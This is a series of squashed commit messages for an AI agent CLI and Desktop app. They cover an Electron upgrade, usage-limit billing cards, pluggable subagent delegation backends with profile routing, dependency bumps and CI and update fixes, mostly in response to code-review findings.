Chromium/V8 security backports. The aging-gate exclusion now names
44.9.3 and its release date.

Electron 42+ ships no install script, so the electron allowScripts entry
has nothing left to allow. Nothing depends on yauzl any more, so the
override #47792 added for Electron's old JS extractor goes too. The
Windows attach E2E launched the binary the postinstall used to unpack;
it now prepares the runtime explicitly, like the other desktop lanes.
The Electron 44 clipboard migration grew main.ts past its code-health
cap, which is its line count on main. The write and read text handlers
move unchanged into clipboard-ipc.ts behind registerClipboardTextIpc,
the same register-with-deps shape as registerSaveDialogIpc. main.ts
ends shorter than it is on main.
The frontend build stage copies scripts/build/node-deps.mjs on its own
and runs it for ui-tui and web. node-deps.mjs now imports
electron-runtime.mjs, so every image build failed with
ERR_MODULE_NOT_FOUND before npm ran. Copy both files. The Dockerfile is
the only place that ships node-deps.mjs without the rest of
scripts/build.
* fix(desktop): restore interface sound mute across windows

* feat(desktop): add a "None" option to disable the completion sound

* fix(desktop): silence OS notification sounds while app sounds are muted

* refactor(desktop): apply the sound mute where native notification payloads are built

* fix(desktop): say the sound mute also silences OS notification sounds

* test(desktop): trim sound-mute tests to regression invariants

---------

Co-authored-by: Eddo Jansen <eddojansen@gmail.com>
Co-authored-by: ldx-person <31948444+ldx-person@users.noreply.github.com>
Greptile: "Regular models get monthly resets". A full Large-model allowance
won the limit line, retry time and pool bench even when the refused model
is not top tier and its daily allowance is also full, so the line said
"monthly large-model limit · resets in 30 days" while limit_hit (the card)
said "daily". The stop line, window_stop_resets_at_ms and the pool's
reset_at now take the gauge from plan_limits.blocking_gauge with the
model's top-tier mark, the same rule limit_hit reads; a refusal no
all-scope allowance explains still falls back to the top-tier one.
Greptile: "Suggestions use another Portal's cache". _portal_free_models took
the last nonempty entry of the whole recommended-models cache, which is
keyed by (profile, Portal), so a process serving several profiles could
put another profile's free pick on a limit card. Read the caller's own
(profile, Portal) entry, else that Portal's disk copy in this profile's home.
Greptile: "Stale snapshots stop future refreshes". After its first refresh a
mismatch was suppressed until the headers and snapshot agreed again, but the
Portal can lag (the refresh returns the same stale gauges) and a failed
fetch is reported as source="error" without raising, so that mismatch was
never refreshed again while cache-only pickers kept the old snapshot. The
guard now expires after a bounded retry interval, and an error result
clears it like a raised failure does.
Greptile: "Unknown resets hide valid gauges". parse_gauges accepts a valid
allowance with an unknown reset, but _bp_window dropped the row because the
reset was not an int; with every reset unknown, build_nous_credits_snapshot
fell back to the dollar view and lost the window plan. The row now keeps
its percent with reset_at=None, which every renderer already shows as no
reset phrase (the same shape other providers' windows use).
Greptile: "Hook test checks source text". The test read
handle_api_error's source with inspect.getsource and matched strings
(banned by tests/AGENTS.md). It now drives the real handle_api_error with
a real AIAgent and a refused request, stopping the turn right after the
hook, and checks the capture runs (marked refused) only for a Nous
402/403 carrying usage-window headers: not for another provider, a
credit-grant account or a 5xx. Mutations of the provider gate, the
window gate or the capture call each turn it red.
Greptile: "Gateway drops the refusal marker". TurnRunner.run_sync copied
usage_limit but not usage_window_message, so the authority message.complete
built the generic billing card instead of the window card, and the chat
refusal rewording never fired. Add it to _FAILURE_DESCRIPTOR_KEYS.
Greptile: "Delayed offers retry newer work". The offer checked the run
generation before _accept_usage_limit_switch, but the switch awaits source
normalisation, model resolution and the commit; a turn that finished during
those awaits was the one /retry rewound. Carry the refused turn's
(session_key, run_generation) into the retry dispatch and re-check it with no
await before the /retry. The switch itself stands.
Greptile: "Normal Desktop usage omits gauges". plan_gauge was built only in
tui_gateway/server.py::_get_usage (the embedded backend), but a normal local
Desktop session reads its session.usage ticks and message.complete usage from
gateway/session_usage (usage_stats -> tui_usage), so the status-bar allowance
never showed. Move the builder to gateway.session_usage.plan_gauge, use it on
both paths (omitted off a window plan, as before), and type it on the Usage,
SessionStats and session.usage contracts (regenerated).
Greptile: "TUI model recovery is rejected". On a canonical connection the
owner's busy_config (gateway/session_busy_controls.py) refuses config.set
key=model with use_session_mutation_model, so the usage-limit card's
"switch to <model>" printed an error and never re-sent.

On canonical connections the card now uses the same revision-fenced,
session-scoped session.mutate operation=model path as /model
(switchCanonicalModel in canonicalSessionControls.ts, sharing
applyModelResult and the guarded-target confirmation). /retry runs only
once the switch committed; a refusal, a declined ask or a pick deferred
behind a running turn does not re-send. Standalone backends keep the
legacy config.set call.
Greptile: "Approval hooks clear others' pauses". $stepUpInFlight is shared by every
useStepUpFlow on the Billing page; dismiss() from an idle instance (the Keep going switch)
cleared it while another row's approval was in flight. Each flow now holds the pause under
its own token and the atom is true while any holder remains.
Greptile: "Repeated pending replies erase labels". The merged row keeps its pending
flags, so the next pending reply found no warm row and dropped the Large / Free tags
(or locked every model) again. Remember the warm row each merged result was built from.
Greptile: "Billing promises access without credits". The exhausted Large-model caption
keyed on keep_going_on_credits alone, so the setting on with a $0 top-up balance still
read "credits cover the rest" while the next request is refused. Use plan_usage.credits_pay
(setting on AND balance left), the same rule the gateway enforces.
Greptile: "Headings mislabel pinned current models". sectionAt assumes picks-first order,
but the composer menu prepends a current model the catalog omits, so with featured A and
pinned custom X, X got "Recommended" and A "Other models". Re-apply the picks-first
order (splitRecommended) after the pin, and state the order contract on sectionAt.
Greptile: "Retries run before model confirmation". executeSlash reports nothing: it
renders a refused /model itself and resolves right after opening the guarded-model
confirm dialog, so the card reloaded the refused turn on the old model before the
user answered. The session-tile delegate gains switchSessionModel: the picker's
config.set wire, always --session, with a guarded target asked through the shared
surfaceModelSwitchConfirm and awaited. The card reloads only on true.

The card test that pinned the executeSlash call now pins switchSessionModel with the
same session-scoped arguments.
agent/managed_worker.py::RESULT_FIELDS dropped usage_window_message, so a
window refusal on a managed-worker session reached the owner as a plain
billing failure and the error card fell back to the generic out-of-credits
card. The marker is a bounded scalar like failure_resets_at; usage_limit
(nested lists) still does not cross the worker frame, so that route shows the
window card without the suggested-model buttons.
The curl|sh and irm|iex installers bootstrap uv (and, on Windows, git)
before any checkout exists, so they carry those pins as fragments that
scripts/gen-bootstrap-pins.py derives from pm/lock.json. Both re-pin
paths wrote only the lock: `pm update uv` left the installers on the old
uv, and the bootstrap-installer drift check failed until someone ran the
generator by hand.

Run the generator after either path saves the lock. It keys off the
saved lockfile's own checkout, so a fixture lock outside a checkout
regenerates nothing.
The dev shell took uv, node, ripgrep and ffmpeg from nixpkgs, so it ran
different versions than pm/lock.json ships (uv 0.11.32 vs 0.13.5, node
26.5.0 vs 26.12.1, ffmpeg 8.1.2 vs 9.0.1). Compose its tool set from
nix/pm-packages.nix instead, and wrap the pinned npm onto the pinned node
so `npm` and `node` are one generation.

pm-packages.nix also shipped every artifact nested under its archive's
versioned directory ($out/node-v26.12.1-linux-x64/bin/node), so no consumer
could reach them through PATH; flatten that and link root-level executables
into $out/bin.

git and openssh stay nixpkgs: the lock carries no Linux artifact for either.
The devShell's HERMES_PYTHON is the lock's interpreter, which finds pytest and
the uv2nix venv only through PYTHONPATH. env -i dropped it, so every file failed
with 'No module named pytest'. Only the unactivated HERMES_PYTHON branch keeps it;
the activated test environment stays hermetic.
hermesNpmLib.nodejs already puts the pinned npm over the pinned node; the
separate npmPinned + pmPackages.node pair relied on PATH order to get the same.
The lock is saved before the fragments regenerate. If that generation failed,
the retry found every pin current and returned before regenerating.
uv 0.13 writes no _virtualenv.pth, so the sealed arms passed even if the build
never called prune_site_pth. The fixture wheels now ship an __editable__ pointer
that only the sealed build removes.
Greptile: "Recovery retries another chat". After accepting the limit
card, the user could open another chat while session.mutate was pending;
switchCanonicalModel skipped /model's stale checks, painted the result
into the newly active chat and called /retry, which reads the current
sid and so rewound and resent the other chat's last prompt.

switchCanonicalModel now reuses /model's guards: the mutation is fenced
on the refused chat's sid (stale after the CAS read and after the reply),
and isSupersededControl (now taking the baseline info) drops a reply an
epoch change or newer turn superseded. A stale reply applies nothing and
does not /retry. The legacy config.set path gets the same sid check.
Greptile: "Large models retry too early". With a Large model and both the
daily and Large-model allowances full, an expired (300 s) or cold catalog
made current_model_is_top_tier answer False, so _stop_gauge took the daily
gauge and the refusal text, retry time and pool bench promised the daily
reset while the model stays refused until the later Large reset.

current_model_is_top_tier now returns None when the cached catalog has no
row for the model. The stop gauge (and limit_hit, so the card agrees)
counts a full top-tier allowance for an unknown tier, so of the full
allowances that could stop the model the later reset wins. A model the
catalog marks regular keeps the e3fff39 day reset; that test now stamps
its model as a regular catalog row instead of relying on an empty catalog.
Greptile: "Old allowance stays visible" (gateway/session_usage.py:101-102).

Both usage builders (gateway/session_usage.py::tui_usage and
tui_gateway/server.py::_get_usage) always send `calls` and send
`plan_gauge` only on a window plan, so a complete usage payload without
the key means the session is off the plan (or the allowance reset).
Desktop merged every payload into the stored usage, which kept the old
gauge forever. The new `mergeUsage` (apps/shared usage-tick) clears it on
complete payloads and keeps it across partial ticks; usageFromTick forwards
a top-level frame's gauge so a canonical counters-only frame is complete
too. The wire stays byte-identical for accounts never on a window plan.
The Ink TUI never reads plan_gauge, so it has no stale copy.
delegate_task asks the active delegation provider (delegation.backend, a new
provider category registered with ctx.register_delegation_provider) for each
task's route: model/provider/endpoint/reasoning resolved by the existing
delegation credential resolver, or a Hermes profile the child runs as. A
provider may add enum-checked per-task schema parameters built once with the
tool definitions. Core keeps the whole lifecycle.

- agent/delegation_provider.py + agent/delegation_registry.py: ABC + registry;
  the built-in 'default' strategy is today's behaviour and the fallback for an
  unregistered/unavailable backend.
- tools/delegate_tool_routes.py: per-task routes, parameter validation, and the
  profile scope binding (home override + secret scope + multiplex semantics +
  terminal policy) around a profile child's construction and conversation.
- Host isolation: HOST_OBJECT_BASES row, so providers run under
  plugins.isolation: host.
- delegation.backend in DEFAULT_CONFIG; registrar table moved to
  hermes_cli/plugins_registrars.py to keep plugins.py under its cap.
- Default config: delegate_task schema and every hermes-cli tool definition
  are byte-identical to main.
`index` is part of the core payload handed to `route_task`, but it was missing from
RESERVED_TASK_PARAMETERS: a provider declaring it as a model-facing parameter let the model's
value replace the real task position before routing. Reserve it with goal/context.

Review: https://github.com/NousResearch/hermes-agent/pull/142563#discussion_r4337785500
The profile scope covered only the child's first conversation. `_run_single_child` leased the
startup credential before entering it (a lease can refresh the profile's OAuth entries, and
`_swap_credential` re-reads TLS material and headers from config) and ran the output_schema retry
turn after leaving it, so both read the launching profile's config, secrets and terminal policy.
One `child_profile_scope(child)` boundary now wraps all three; parent bookkeeping stays outside.

Review: https://github.com/NousResearch/hermes-agent/pull/142563#discussion_r4337785444
`_profile_route` read the target profile's raw `model.default`, kept only `rt["provider"]` and
only `agent.reasoning_effort`:
- a `model.default` alias was sent as a model name to the default endpoint (or refused) instead of
  taking the alias's model, endpoint and key; it now goes through `resolve_startup_model_route`,
  the owner CLI/oneshot/TUI startup use;
- a named custom provider collapsed to `custom`, so with two named providers on one URL the child
  leased the first one's pool (wrong account); the name is kept as the identity, as the
  `delegation.provider` branch already does;
- reasoning ignored `agent.reasoning_overrides` and, when unset, fell back to the launching
  profile's `delegation.reasoning_effort` / parent level; it is now the target profile's
  `resolve_reasoning_config` result, carried as a final value (`ResolvedReasoning`).

Review: https://github.com/NousResearch/hermes-agent/pull/142563#discussion_r4337785463
Review: https://github.com/NousResearch/hermes-agent/pull/142563#discussion_r4337785472
Review: https://github.com/NousResearch/hermes-agent/pull/142563#discussion_r4337785483
delegated_profile_scope bound the HERMES_HOME override, secret scope, multiplex flag and terminal
scope before its try:, so a later step that raised left the earlier tokens set and the parent ran
on inside the child's profile. Each step now enters an ExitStack, the same discipline as the
gateway's routed-turn scope (_profile_runtime_scope).
A managed worker (kanban, safe mode, managed sessions) binds its session config at creation and
every config reader returns that snapshot, so load_config_readonly() under the target profile's
HERMES_HOME override still returned the launch profile's config while secrets came from the
target scope: the child got the launch model with the target profile's keys.

Reading the target profile's config.yaml from disk there would cross the frozen-policy boundary
(the worker never opens profile files; safe-mode workers must not read user config at all), and
there is no reader for another home that bypasses the snapshot by design. Refuse the route with a
clear error instead; a route to the worker's own home is unaffected.
The delegation.provider path refuses a pinned ACP command that is not on PATH (#80450); the
profile route skipped that check. Reuse _require_pinned_command so the spawn fails at routing with
a message naming the profile, before any sibling child is built.
The route cache key included the display label, so one profile routed under two labels resolved
(and rebuilt its scope from disk) twice. The key now drops the label; each task keeps its own.
Ported from #140614 (d435a4b2205, 6015c98eb1c): a tier is validated with
the same gates as /fast (resolve_fast_mode_overrides, plus the Codex
account check for ultrafast), clears tier keys at the top level and inside
extra_body, and is re-applied to the built child so a custom provider's
extra_body merge cannot restore another tier. The per-task model fields
from that PR are not part of this port; delegation backends supply the
tier as a route field instead.
Plugin backend settings no longer share the core delegation namespace:
DelegationProvider.settings(config) returns delegation.backends.<backend
name>, and DEFAULT_CONFIG carries an empty backends map. The selector stays
delegation.backend; config passed to every method is still the delegation
section, so dict(config) remains the default route.
A tier could only reach a routed child through request_overrides, which
skipped the /fast access checks (Codex silently serves another tier to a plan
without ultrafast) and could be overwritten by a custom provider's extra_body
at construction. A backend route may now carry service_tier: core resolves it
against the route with resolve_fast_mode_overrides + ultrafast_offered before
any child is built, refuses the spawn when the route does not offer it, and
re-applies it after the child is built. model_map options get it by listing
the field. The default strategy never reads a tier from the delegation
section, so its route is unchanged.

Ported from #140614 (per-task speed tiers); the per-task route preflight
builds on #107945.

Co-authored-by: unsupportedpastels <274530371+unsupportedpastels@users.noreply.github.com>
Co-authored-by: KoNit-K <124019182+KoNit-K@users.noreply.github.com>
A backend route's effort went through parse_reasoning_effort in
_resolve_child_runtime, where an unknown word only logged a warning and the
child inherited the parent's level. A value a backend returned now refuses
the task, naming the valid levels. The delegation section's own
reasoning_effort (also what a backend returning dict(config) carries) keeps
its warn-and-inherit rule.

Co-authored-by: unsupportedpastels <274530371+unsupportedpastels@users.noreply.github.com>
A routed task's result carried only the backend's label. It now carries
route = {label, provider, model, reasoning_effort, service_tier}, read off the
built child, so the parent sees what actually ran. Failed and abandoned
entries carry it too. Default-strategy results keep their shape.

Co-authored-by: unsupportedpastels <274530371+unsupportedpastels@users.noreply.github.com>
cli-config.yaml.example and the configuration reference now cover
delegation.backend and delegation.backends.<name> (model_map,
profile_routes); the user and plugin guides cover the settings block,
service_tier and reasoning_effort route checks, the per-result route
report, and that listing a profile in delegation.backends.profile_routes
lets this profile's subagents use that profile's credentials, credential
pool, SOUL.md and terminal policy.

Co-authored-by: unsupportedpastels <274530371+unsupportedpastels@users.noreply.github.com>
resolve_task_routes treated any provider named "default" as the old built-in
strategy: its service_tier was dropped and its results carried no route
report. Once the default strategy is a replaceable plugin (stacked #142564), a
replacement under that name silently loses both (Greptile on #142564).

The rules now follow the route itself:
- the built-in default strategy drops service_tier from its own route (the
  delegation section has no tier key), instead of core special-casing it;
- the reasoning_effort check already skips the delegation section's own value,
  which is all the default route carries;
- the result report sits next to a route's label, as the label alone did
  before: unlabelled routes (default, a backend's dict(config) fallback) keep
  the result shape unchanged.
seed_workspace recorded the child's starting directory (the parent's, or its
isolated worktree) in the parent's scope. cwd records are keyed by the active
profile on a multiplexed host, so a profile-routed child, looking its record up
as the target profile, missed it: with worktree isolation its relative commands
could run in the target profile's configured directory although it was told its
terminal starts in the worktree (Greptile). The parent's record is now read in
the parent's scope and the child's written inside child_profile_scope.
Persistent Docker keys a session-bound container by HERMES_SESSION_PROFILE,
which delegated_profile_scope leaves on the parent: a child routed to coder
inside a default-profile gateway/TUI session reused the default profile's
cached container, without coder's image, mounts and env (Greptile).

The container profile now follows the bound HERMES_HOME override when there is
one, else the session's profile. HERMES_SESSION_PROFILE itself is untouched: it
is also the delivery identity notifications read, which stays the parent's.
Gateway routed turns bind both to the same profile, so their key is unchanged.
The ultrafast entitlement check ran without an access token, so it read the
profile's stored Codex login. A backend route carrying another account's key
could be refused (or allowed) on the wrong account's catalog (Greptile). The
check now gets the route's key, or the inherited parent's on an unpinned route.
A configured delegation.backend that is not installed or reports unavailable no
longer runs children on the default route: delegate_task returns a tool error
naming the backend and the fix. Within a batch, a task its backend cannot route
(enum miss, DelegationRouteError, unknown reasoning_effort, unoffered tier,
unresolvable credentials or profile) is refused alone: no child is built, its
result entry carries the error and route.refused, and its siblings run; the call
is a tool error only when every task is refused. A non-profile backend route
without its own fallback_providers inherits delegation.fallback_providers. Every
backend-routed result's route names the backend, and fallback_activated shows
when a fallback provider took over.
agent/delegation_backends.py is the public API a /delegation command uses,
following the /model convention: list_backends() (name, label, description,
available, reason), get/set_session_backend(session_key, name) for one session,
and set_global_backend(name, session_key=) which writes delegation.backend to the
active profile's config.yaml and drops that session's override. delegate_task
resolves the calling session's key (turn session context, else the parent's
session id) and routes with its override. The delegate_task schema keeps
following config.yaml, since it is part of the cached prompt. Providers gain a
user-facing summary for pickers.
PluginContext.ask_choice(question, choices) -> str | None lets a sync
slash-command handler ask the user who ran it to pick one option and get
the picked value back. Choices are strings or {value, label, description}.
Each surface binds an asker around the handler call
(hermes_cli/plugin_choices.py), and every asker is that surface's
existing clarify prompt. No surface gets a new card type or wire shape:

- messaging chats (gateway/plugin_command_choice.py): adapter.send_clarify
  plus the clarify tool's own delivery (_clarify_send_then_wait, text
  fallback, card retire). Telegram/Discord/Slack show buttons, other
  platforms a numbered list. The typed reply reaches the clarify
  text-intercept while the command still holds the chat.
- local sessions on the gateway (classic CLI, Ink TUI, Desktop): the
  `clarify` server request to the session's viewers. Two fixes make the
  answer arrive while slash.exec is still waiting for the handler:
  * tui_gateway/ws.py: a viewer's answer to an open server request (a
    response frame, `clarify.lock`) is settled at once instead of queuing
    behind that socket's running slash.exec.
  * hermes_cli/gateway_plugin_commands.py: the classic CLI answers the
    session's `clarify` requests with its clarify panel while it waits for
    slash.exec. No turn pump reads the session's frames between turns.
- in-process classic CLI and the legacy `hermes serve` backend: their
  clarify panel / `clarify` server request.

Returns None when nothing can ask (hooks, cron, async handlers on the
event loop), when the user cancels or answers with something that is not a
choice, or when the clarify timeout passes. The handler then prints its
text usage.
set_global_backend raises PermissionError (format_managed_message) when a package
manager owns the install, like every other config writer, and leaves config.yaml
untouched.
_prompt_model_selection gains title= (default 'Select default model:'), so a
plugin's route editor can say 'Select the model for this route:'. It is public
for plugins as hermes_cli.auth_model_picker.prompt_model_selection (listed in the
admission lint's public surfaces, with agent.delegation_backends) and documented
in the delegation provider guide.
Under plugins.isolation: host a /delegation handler calling agent.delegation_backends
changed the plugin host's copy of the session overrides, not the one delegate_task
reads, and listed the host's (empty) registry. ctx.delegation_backends exposes the
same API as plain data and is a host remote facade, so the call runs in the Hermes
process. Greptile P1 on #142563.
The CLI answering a plugin command's clarify request between turns now tracks the
open request: the gateway's request.cancel (another viewer picked, or its wait
ended) closes the panel, and so does the end of the command's wait. A choice with
a description still accepts its plain label typed back. Greptile P1/P2 on #142563.
A backend route that inherits the parent's request settings reports the tier they
carry (service_tier/speed, top level or extra_body) instead of normal. A refused
task's manifest entry is written when the call is accepted, so a background call
whose async units never carry it does not leave it running. Greptile P2 on #142563.
Greptile P2 on #142563: the provider table and cli-config.yaml.example still
promised a fallback to default; also name advanced-delegation, route
fallback_providers inheritance and ctx.delegation_backends.
A /delegation pick is session-scoped like /model, but it lives in
agent.delegation_backends keyed by session_key, and the gateway's route key
survives /new, /reset, /resume, idle/daily auto-reset and the
compression-exhausted reset. Nothing popped it at those boundaries, so the
next conversation in the chat kept overriding config.yaml's delegation.backend
(Greptile on #143126, relayed in #142563).

The conversation-boundary funnel (_clear_conversation_scope), which already
clears the /model override for every one of those boundaries, now drops the
session's backend pick too. Other chats keep theirs.
Persistent Docker keys a session-bound container by profile. _container_profile
took the bound home's profile only when that home is a routed (non-launch) one,
else the session's HERMES_SESSION_PROFILE. A coder chat on a default-launched
gateway routing a child to default binds the launch home, which is not routed,
so the child fell back to the parent chat's profile and ran in profile:coder's
container instead of default's (Greptile on #143126, relayed in #142563).

The bound home's profile now decides whenever it differs from the session's
own; a session with no profile name is still the launch profile's, so the
launch home's own turns keep their key. The sibling per-profile keys
(_routed_home_task_key, _qualify_task_key) already key the launch home as the
default profile does and were right.
The delegate_task schema follows config.yaml for the whole session (the tool list is part of the
cached prompt and is never rebuilt mid-conversation), so after a session-only `/delegation <mode>`
switch the model still sends the previous backend's parameters. _route_one kept only the active
backend's declared names, so e.g. `option: fast` (model_map) under profile_routes was dropped and
the task ran on the profile default / parent model.

Core now refuses, per task and fail-closed like every other routing refusal, a task carrying a
parameter the active backend does not declare (core-owned names excepted). The message names the
session's backend, the parameter, and the fix: `/new` for a tool list that matches, or
`/delegation <backend>` back to the backend that declares it. A name no installed backend declares
is refused too, with "resend it without" as the fix. Siblings in the batch still run.

Review: @unsupportedpastels on hermes-official-plugins#136, finding 2.1.
`/new` starts on the saved backend (4c4692f25d), so "start a new session with /new for a tool that
matches '<session backend>'" sent the user back to the saved mode. The fix in the message is now
"`/delegation <session backend> --global` then `/new`", or "`/delegation <saved backend>`" to switch
the session back. When the session follows config.yaml (it changed mid-session) the fix is just /new.

Review: Greptile on #142563 and the plugin lane (hermes-official-plugins#136).
Resolves hermes_cli/auth_model_picker.py against 7a8569baa9 (the picker
takes a title, public as prompt_model_selection): keeps this branch's
description_lines()/menu_title() split, with menu_title(title=...) and the
title= parameter on _prompt_model_selection carried over from main.
Microsoft's read-aloud endpoint now rejects the Sec-MS-GEC-Version that
edge-tts 7.2.x sends, so every Edge synthesis failed with
`WSServerHandshakeError: 403, url='wss://speech.platform.bing.com/consumer/
speech/synthesize/readaloud/edge/v1?...Sec-MS-GEC-Version=1-143.0.3650.75'`.
The failure is version-bound: 7.3.1 synthesizes real audio against the
live endpoint.

uv.lock regenerated with `hermes pm lock`; 7.3.1 (2026-10-13) is past the
3-day release-age window, so no exemption is needed.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
Move today's delegation routing (every child follows the delegation section,
else the parent's route) out of core into plugins/delegation/default, a bundled
kind: backend plugin that registers through ctx.register_delegation_provider
like any other strategy. Core keeps only the name 'default' as the fallback
selection; no built-in provider class and no reserved name remain.

The registry loads a bundled strategy on first use when the plugin sweep never
registered it (runtimes that pinned discovery with zero plugins), so
delegate_task never depends on the sweep; plugins.disabled still wins and a
disabled default is a clear refusal. Config names are validated before they
become a path.
The first-use loader for a bundled strategy registered it straight into the
global provider registry, outside the plugin manager's registration lifecycle.
Once loaded that way, disabling delegation/default and rediscovering left the
entry alive, and _usable() returned it before plugins.disabled was consulted
(Greptile on #142564).

The first-use provider is now kept in its own cache, outside the registry the
manager owns, and plugins.disabled is checked on every call, so a later
disable refuses delegation without a restart. Adds a test that a replacement
provider registered as "default" gets the full route contract (tier checked
and applied, label reported), pinning the name-free rules from da5fec8dc6e.
A provider registered as "default" that reported unavailable made _usable()
return None without trying the enabled bundled strategy, so with
delegation.backend unset every task was refused with a message claiming
delegation/default is disabled (Greptile). The bundled strategy is now tried
whenever the registered provider is missing or unavailable.
With default a bundled plugin, the hosted test's empty bundled dir left no default
to switch a session to; point it at plugins/delegation like the other backend tests.
_load_bundled imported plugins/delegation/<name> with its own importlib
spec under its own module name. It now goes through
plugins.plugin_loader.load_plugin_module like the other bundled provider
categories (cron, memory, context engine). That loader serializes
concurrent loads of one module, reuses an already-loaded module, and
returns None rather than raising when the plugin fails to import, so the
backend then reports itself unavailable. The first-use fallback and the
plugins.disabled check are unchanged (Greptile on #142564).
feat: usage-window plan support
Settings › Model › Subagents gains a Routing section for delegation.backend:
Default / Model routes / Profile routes, plus any other plugin's backend by
its own label. Plugin modes stay visible with an Install / Turn on hint while
the Advanced Delegation plugin is absent or off.

Core fails closed, so the page shows the SAVED mode as selected even when it
cannot run, with a "Subagents will not start until …" banner naming the fix
(Install plugin / Turn on / restart) and a Switch to Default button.

Model routes get a list with create/edit/delete, a default route and inline
validation (reusing the provider catalog + ModelSelect picker); Profile routes
are a checkbox list of existing profiles with an optional description and a
default. In any mode but Default the subagent model/provider rows are shown
inert with one line saying why (with no default route, unrouted tasks use the
main agent's model) and a Switch to Default button.

Backend: GET /api/delegation/routing (configured + blocked_reason from core's
backend_status), PUT /api/delegation/backend (core set_global_backend, under
the profile scope + config lock), PUT /api/delegation/backends/{model_map,
profile_routes} — profile-scoped (?profile=), validated (unique route names,
known reasoning effort / service tier, existing profiles); route api_keys are
redacted on read and kept on write.
Core's set_global_backend now raises PermissionError on a package-manager-
managed install. The mode PUT surfaced that as a 500, and the two route-block
PUTs answered ok while save_config silently skipped the write. All three now
return 409 with core's one-line reason, which the page shows in its error
toast (409, not 403: the Desktop transport reads 403 as an auth rejection).

Backends are serialised from core's BackendInfo as-is, so each row's
description is the provider's summary line.
Review fixes for the delegation routing editors:

- Saves for one owner run one at a time in the order made, and the page adopts
  a server answer only when no newer edit is queued behind it, so an older
  answer can no longer undo a newer check on screen. A failed save re-reads the
  owner's routing instead of restoring a snapshot that would undo edits saved
  since.
- An edited route sends original_name, so a renamed route keeps its stored key
  (the server already looked it up there; the renderer never sent it). The
  server falls back to the new name once an earlier rename has landed.
- Route fields the editor never touches (request_overrides, label, profile,
  from core's ROUTE_KEYS) round-trip on save instead of being dropped.
- Speed offers Subagent default (no tier) and an explicit Normal: an explicit
  normal turns a provider's own Fast setting off, an absent tier leaves it on.
Machine.teardown copied the transcripts and logs out, then left the whole
fake profile behind: a full install (checkout, venv with every extra, PM
tools, caches) plus serve.git, all on the runner's only drive. With
test_damaged_checkout.py the suite reached 13 files / 15 machines and the
last journey ran the disk dry (run 39853224877: 92 MB free, the three
standard-user cells failed; the webapp dispatch hit 0 MB and failed 8).

Teardown now removes the profile and serve.git after the artifacts copy
(long-path prefix, read-only git objects via utils.rmtree_readonly, retry
while a killed process lets go); anything it cannot delete is named in
teardown-leftovers.txt, and a job step fails when a machine install
outlives its journey.
Review follow-up: deletion now sits in a finally around artifact collection,
so a full disk that breaks the copy cannot keep a whole install on the drive,
and the leak check step runs with if: always() so failed runs still name any
leftover install.
The leg provisioned core's dependencies with pm.ensure_environment, which
re-resolves the bare [project].dependencies list without core's [tool.uv]
override-dependencies. Since Pillow moved to 13.0.0 over browser-harness's
exact pillow==12.3.0 pin (an override), that universal lock is
unsatisfiable. Export core's locked set and install it with
pm.build_requirements_environment(lock=uv.lock), which applies the lock's
overrides, plus the old tag's PyYAML requirement.

No production caller hands core's dependency list to ensure_environment;
plugin workspaces inherit [tool.uv]. Pillow 13.0.0, its override and
browser-harness 0.1.13 are unchanged.
Move the [otlp] pins (opentelemetry-sdk, opentelemetry-exporter-otlp-proto-http)
from 1.39.1 to 1.45.1, which takes opentelemetry-api to 1.45.1 and the
contrib packages to 0.66b1.

opentelemetry-sdk 1.45.1 requires opentelemetry-semantic-conventions==0.66b1,
but mistralai 2.4.8 caps it below 0.61, so [mistral] and [otlp] could not be
locked together. mistralai 2.9.2 is the first release without the cap; take
2.10.1, the newest 2.x. The audio.speech.complete and
audio.transcriptions.complete signatures Hermes calls are unchanged.
Electron 44's Chromium zeroes /proc/<pid>/environ in the browser process
and every child it execs right after start (Electron 40.10.2 kept it
readable: same headless probe, PROBE_MARK=1 on 40, 0 on 44.9.3). The
update suite's install census matched processes by HERMES_HOME in that
environment, so after the Electron 44 upgrade (#142727) it stopped seeing
the installed Desktop app at all:

- app-update: "the app to relaunch itself" picked a short-lived process
  instead of the relaunched app, the SIGTERM missed the app, the
  "quits cleanly" poll passed on an empty census, and the next launch hit
  "another Hermes Desktop instance holds the single-instance lock".
- build-fail and app-update: session.close() SIGKILLs installProcesses();
  the relaunched app survived it with live connections to the spec's
  provider/edge servers, and the Playwright worker hung 300 s on stop.

The app itself is fine: the relaunched Electron 44 app quits within 1 s
of SIGTERM at every point of its boot (0.2 s to 10 s, source build).

installProcesses now adds every process whose /proc/<pid>/exe lies under
the install's release dir (install-specific, readable whatever the
environment shows), and desktopMainProcesses reads that set directly,
dropping a candidate whose parent is a candidate (a child between fork
and exec still shows the main's exe and argv).
The transcript oracle's "live sockets to the one host backend" check
intermittently saw two native_dial sockets on two ports: the current
socket through the test's loopback proxy, plus the direct socket the
renderer held BEFORE the `reload` step.

Root cause: Playwright forgets a page's WebSockets when a new main-frame
document commits (frameManager._clearWebSockets) without emitting their
'close', so recordWebSockets kept the pre-reload socket at closed=false
whenever its close event lost the race against the reload's commit.
The renderer held one socket; the recorder held a dead one.

recordWebSockets now retires every recorded socket at a new-document
commit (a main-frame navigation request followed by framenavigated).
Hash navigations issue no navigation request, so they never retire a
live socket, and any socket the new document dials (a real duplicate to
the host backend, #120006) is still counted.

Evidence: a standalone Playwright 1.62.1 + Electron 44.9.3 probe (page
with one WebSocket, 10 reloads with a hash navigation between each)
left 9/10 pre-reload sockets "live" in the old recorder while the server
saw exactly one open; the retire-on-commit recorder reported 1 live on
10/10. Local run of the full spec was not possible on this host
(electron.launch of the app dies on connect here).
chore(deps): bump opentelemetry to 1.45.1 and mistralai to 2.10.1
The source check offered v0.22.2 as "ready to install" to installs whose
session stores already use the gateway runtime, and `hermes update` then
refused it as a downgrade every time. The rollback test only caught a
release that is an ancestor of HEAD; a release cut beside the checkout's
history (sene1337's report on #139099) slipped through as a plain update.

The check now asks the updater's own refusal, read-only and without lazy
fetches (update_downgrade_guard.would_refuse, sharing downgrade_refusal's
profile scan and target test). When the update would refuse, the status
says updateAvailable=False with held="downgrade":
- Desktop names the hold ("Hermes stays on this build until a newer stable
  release ships") instead of an Update now button that always fails.
- `hermes update --check` prints "Holding at this build" instead of
  "Selected release available".

channelProtocol moves to 2 so cached statuses computed without the hold are
re-checked. The refusal in `hermes update` itself is unchanged.
A stable-channel install on a post-cutover main commit could never update:
the channel's release predates the gateway runtime its state.db already
uses, so every `hermes update` hit the downgrade refusal and exited 1,
though the user never asked to go back (#140729).

When the channel (not an explicit --branch) picked that release, keep the
install on HEAD, say it is ahead of the release and how to follow main,
and finish like an up-to-date run. An explicit --branch to a pre-runtime
commit is still refused.

